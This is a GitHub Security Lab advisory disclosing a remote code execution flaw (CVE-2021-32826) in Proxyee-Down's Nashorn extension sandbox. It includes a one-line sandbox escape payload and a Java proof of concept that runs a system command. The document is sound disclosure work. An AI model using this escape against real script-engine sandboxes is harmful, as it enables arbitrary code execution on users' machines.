July 21, 2021

GHSL-2021-053: Remote code execution in Proxyee-Down - CVE-2021-32826

Alvaro Munoz

Coordinated Disclosure Timeline

- 2021-03-26: Issue reported to liwei-8466@qq.com
- 2021-07-05: Deadline expired.
- 2021-07-05: Publication as per our disclosure policy.

Summary

An attacker being able to provide an extension script (eg: through a MiTM attack or by hosting a malicious extension) may be able to run arbitrary commands on the system running Proxyee-Down.

Product

Proxyee-Down

Tested Version

Version 3.4 Latest commit at the date of reporting: ec921c3 on 11 Aug 2020

Details

Insufficient Script Engine sandboxing (GHSL-2021-053)

Proxyee-Down uses Nashorn engine to evaluate 1,2 Javascript code provided by extensions:

```
public static ScriptEngine buildEngine() throws ScriptException, NoSuchMethodException {
  NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
  ScriptEngine engine = factory.getScriptEngine(new SafeClassFilter());
  Window window = new Window();
  Object global = engine.eval("this");
  Object jsObject = engine.eval("Object");
  Invocable invocable = (Invocable) engine;
  invocable.invokeMethod(jsObject, "bindProperties", global, window);
  engine.eval("var window = this");
  return engine;
}
```

The engine is configured to use a `ClassFilter` in order to `Prohibit any explicit call to java code` (禁止任何显式调用java代码):

```
/**
 * 禁止任何显式调用java代码
 */
private static class SafeClassFilter implements ClassFilter {

  @Override
  public boolean exposeToScripts(String s) {
    return false;
  }
}
```

The filter above does not expose any Java classes to the Javascript scripts, but the `ClassFilter` on its own is not sufficient to prevent code execution since Nashorn exposes the underlying engine to the script and it is still possible to execute arbitrary code with it. For example, the script below will start a system process:

```
this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec(\"touch /tmp/pwned\")')
```

Impact

This issue may lead to `Remote Code Execution`.

References

- Beware of the Nashorn

PoC

```
import jdk.nashorn.api.scripting.ClassFilter;
import jdk.nashorn.api.scripting.NashornScriptEngineFactory;

import javax.script.ScriptEngine;

public class Test {
    private static class SafeClassFilter implements ClassFilter {
        @Override
        public boolean exposeToScripts(String s) {
            return false;
        }
    }

    public static void main(String[] args) {
        try {
            NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
            ScriptEngine engine = factory.getScriptEngine(new SafeClassFilter());
            System.out.println(engine.eval("this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec(\"touch /tmp/pwned\")')"));
        } catch(Exception e) {}
    }
}
```

CVE

- CVE-2021-32826

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-053` in any communication regarding this issue.

GitHub

Product

- Features
- Security
- Enterprise
- Customer stories
- Pricing
- Resources

Platform

- Developer API
- Partners
- Atom
- Electron
- GitHub Desktop

Support

- Docs
- Community Forum
- Professional Services
- Status
- Contact GitHub

Company

- About
- Blog
- Careers
- Press
- Shop

- in

- Terms
- Privacy
- Cookie settings